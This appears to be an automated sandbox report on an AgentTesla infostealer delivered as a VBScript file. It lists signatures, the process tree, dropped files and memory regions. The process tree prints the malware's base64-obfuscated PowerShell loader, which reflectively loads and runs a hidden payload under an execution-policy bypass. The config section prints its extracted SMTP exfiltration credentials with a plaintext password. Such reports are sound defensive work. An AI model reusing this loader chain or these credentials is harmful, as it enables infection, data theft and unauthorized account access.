Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27-03-2024 01:12

General

  • Target

    b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe.vbs

  • Size

    196KB

  • MD5

    154c5d86522ffd7a1cd03d23b3b19ee5

  • SHA1

    41743b862c01c4c8eef124a85560657f58a0a575

  • SHA256

    b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe

  • SHA512

    0179e5323e21f3f34dbbe5ed2930ca25fa8158db15824adae867e9cf74df1a642516aa86910676c06a3f39fe9a7f7296f8f5fa70e7a23b4227535bd0b525a760

  • SSDEEP

    3072:k+az7K1R0Qnfs+7d7mz6WK5jiAQeQ/fCdkoLTIXlcoutMAp5Fvk2:SCXkKIeWK5jFw3CGc9tXp5Fvk2

Malware Config

Extracted

Credentials

  • Protocol:
    smtp
  • Host:
    mail.bfm.com.mk
  • Port:
    587
  • Username:
    [email protected]
  • Password:
    Sonja1234@@4321

Extracted

Family

agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:3436
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\cvtres.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4768
      • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5w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wyNDQsMTY5LDE5MiwyMzMsMjM5LDIzNywyNDQsMjAzLDIzNCwyMjgsMjMzLDIzOSwxNjksMTk2LDIzMywyNDEsMjM0LDIzMCwyMjQsMTYzLDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY3LDE1OSwyMzMsMjQwLDIzMSwyMzEsMTY0LDE4MikNCiRkZWNvZGVkU3RyaW5nID0gQ29udmVydC1Bc2NpaVRvU3RyaW5nICRlbmNvZGVkQXJyYXkNCg0KDQokZmlsZVBhdGggPSBKb2luLVBhdGggJGVudjpVc2VyUHJvZmlsZSAiY3Z0cmVzLmJhdCINCiRsYXN0TGluZSA9IEdldC1Db250ZW50IC1QYXRoICRmaWxlUGF0aCB8IFNlbGVjdC1PYmplY3QgLUxhc3QgMQ0KJGNsZWFuZWRMaW5lID0gJGxhc3RMaW5lIC1yZXBsYWNlICdeOjonDQokcmV2ZXJzZSA9IFJldmVyc2VTdHJpbmcgJGNsZWFuZWRMaW5lDQokZGVjb21wcmVzc2VkQnl0ZSA9IERlY29tcHJlc3NCeXRlcyAtY29tcHJlc3NlZERhdGEgJHJldmVyc2UNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQokYXNzZW1ibHkgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJGRlY29tcHJlc3NlZEJ5dGUpDQoNCkludm9rZS1FeHByZXNzaW9uICRkZWNvZGVkU3RyaW5nDQoNCkNsb3NlLVByb2Nlc3MgLVByb2Nlc3NOYW1lICJjbWQi')) | Out-File -FilePath 'C:\Users\Admin\cvtres.ps1' -Encoding UTF8"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5040
      • C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\cvtres.ps1"
        3⤵
        • Drops startup file
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4444
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2200

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    4280e36a29fa31c01e4d8b2ba726a0d8

    SHA1

    c485c2c9ce0a99747b18d899b71dfa9a64dabe32

    SHA256

    e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359

    SHA512

    494fe5f0ade03669e5830bed93c964d69b86629440148d7b0881cf53203fd89443ebff9b4d1ee9d96244f62af6edede622d9eacba37f80f389a0d522e4ad4ea4

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    16KB

    MD5

    aa793cce416b24b1b45cbe911b6c703d

    SHA1

    a77e016e81d6ae709b7ab5c1e36df4511eb1d1b1

    SHA256

    023705a2b3b769af3cfc86d0cff324f85815afe588f2f094872cbbc3c225b716

    SHA512

    8d923da770504acee6d1419556eb59c9a3bd7558bc658f33e01f6ecc5fee27fe793857d9d51b68e5049d7ffacf314c8f6f27dfc280d68efb9a2a0e03baefc4c6

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ldjgp2bw.lur.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\cvtres.bat

    Filesize

    191KB

    MD5

    2d52ffbf8c9233a4c0e73ddef6f59073

    SHA1

    19f2b5b063b11d8ed5a61178eb1ba4e1243ae21f

    SHA256

    90cf988538695ba2552ace7664b3badb2fd2c576803f9335a9961b875ceeac23

    SHA512

    a5d14be2d9e2e2578761e64e58ca778a8872c821b80b7d14d836bdbb58ae77f8155af8fd4e9b209c47eca95562511c722ad0d3192f0613296d2212ea1211648e

  • C:\Users\Admin\cvtres.ps1

    Filesize

    1KB

    MD5

    6f35158874ea4b14043a77ba49bf342a

    SHA1

    a2675898e47ae854c2380841acdb9fdbe7b050c1

    SHA256

    d2e1c1fef3af43c1c672e99d0040f36768a6041ff9d0d3d2d71751b39e4e1d09

    SHA512

    2696dfdeca5fbde843851588aff2bcf70d13dad9122fbec8b48d2aed066a2794bd39781981b31908343b2aef5f8a716f74bdea19dd49690db1c91930c7013281

  • C:\Users\Admin\cvtres.vbs

    Filesize

    196KB

    MD5

    154c5d86522ffd7a1cd03d23b3b19ee5

    SHA1

    41743b862c01c4c8eef124a85560657f58a0a575

    SHA256

    b3f2c0468d40628a6fa17d8dfaca76b89525063c9f1c3b337f9929311e4d7cfe

    SHA512

    0179e5323e21f3f34dbbe5ed2930ca25fa8158db15824adae867e9cf74df1a642516aa86910676c06a3f39fe9a7f7296f8f5fa70e7a23b4227535bd0b525a760

  • memory/2200-59-0x00000000066D0000-0x0000000006720000-memory.dmp

    Filesize

    320KB

  • memory/2200-57-0x0000000005110000-0x0000000005120000-memory.dmp

    Filesize

    64KB

  • memory/2200-60-0x00000000067C0000-0x000000000685C000-memory.dmp

    Filesize

    624KB

  • memory/2200-56-0x0000000074440000-0x0000000074BF0000-memory.dmp

    Filesize

    7.7MB

  • memory/2200-53-0x0000000000400000-0x0000000000442000-memory.dmp

    Filesize

    264KB

  • memory/2200-61-0x0000000006900000-0x0000000006992000-memory.dmp

    Filesize

    584KB

  • memory/2200-62-0x0000000006880000-0x000000000688A000-memory.dmp

    Filesize

    40KB

  • memory/2200-63-0x0000000074440000-0x0000000074BF0000-memory.dmp

    Filesize

    7.7MB

  • memory/2200-64-0x0000000005110000-0x0000000005120000-memory.dmp

    Filesize

    64KB

  • memory/4444-52-0x0000000005720000-0x000000000572A000-memory.dmp

    Filesize

    40KB

  • memory/4444-31-0x0000000074440000-0x0000000074BF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4444-32-0x00000000054C0000-0x00000000054D0000-memory.dmp

    Filesize

    64KB

  • memory/4444-33-0x00000000054C0000-0x00000000054D0000-memory.dmp

    Filesize

    64KB

  • memory/4444-34-0x0000000006410000-0x0000000006764000-memory.dmp

    Filesize

    3.3MB

  • memory/4444-58-0x0000000074440000-0x0000000074BF0000-memory.dmp

    Filesize

    7.7MB

  • memory/4444-55-0x0000000076E61000-0x0000000076F81000-memory.dmp

    Filesize

    1.1MB

  • memory/4444-46-0x0000000007C60000-0x0000000007CF6000-memory.dmp

    Filesize

    600KB

  • memory/4444-47-0x0000000006F30000-0x0000000006F52000-memory.dmp

    Filesize

    136KB

  • memory/4444-48-0x00000000082B0000-0x0000000008854000-memory.dmp

    Filesize

    5.6MB

  • memory/4444-49-0x0000000006780000-0x00000000067E4000-memory.dmp

    Filesize

    400KB

  • memory/5040-24-0x0000000007BF0000-0x000000000826A000-memory.dmp

    Filesize

    6.5MB

  • memory/5040-23-0x00000000062F0000-0x000000000633C000-memory.dmp

    Filesize

    304KB

  • memory/5040-22-0x00000000062C0000-0x00000000062DE000-memory.dmp

    Filesize

    120KB

  • memory/5040-25-0x00000000073B0000-0x00000000073CA000-memory.dmp

    Filesize

    104KB

  • memory/5040-21-0x0000000005D70000-0x00000000060C4000-memory.dmp

    Filesize

    3.3MB

  • memory/5040-11-0x0000000005590000-0x00000000055F6000-memory.dmp

    Filesize

    408KB

  • memory/5040-29-0x0000000074440000-0x0000000074BF0000-memory.dmp

    Filesize

    7.7MB

  • memory/5040-10-0x0000000005C30000-0x0000000005C96000-memory.dmp

    Filesize

    408KB

  • memory/5040-9-0x00000000054F0000-0x0000000005512000-memory.dmp

    Filesize

    136KB

  • memory/5040-8-0x0000000005600000-0x0000000005C28000-memory.dmp

    Filesize

    6.2MB

  • memory/5040-7-0x0000000002F00000-0x0000000002F10000-memory.dmp

    Filesize

    64KB

  • memory/5040-6-0x0000000074440000-0x0000000074BF0000-memory.dmp

    Filesize

    7.7MB

  • memory/5040-5-0x0000000002F10000-0x0000000002F46000-memory.dmp

    Filesize

    216KB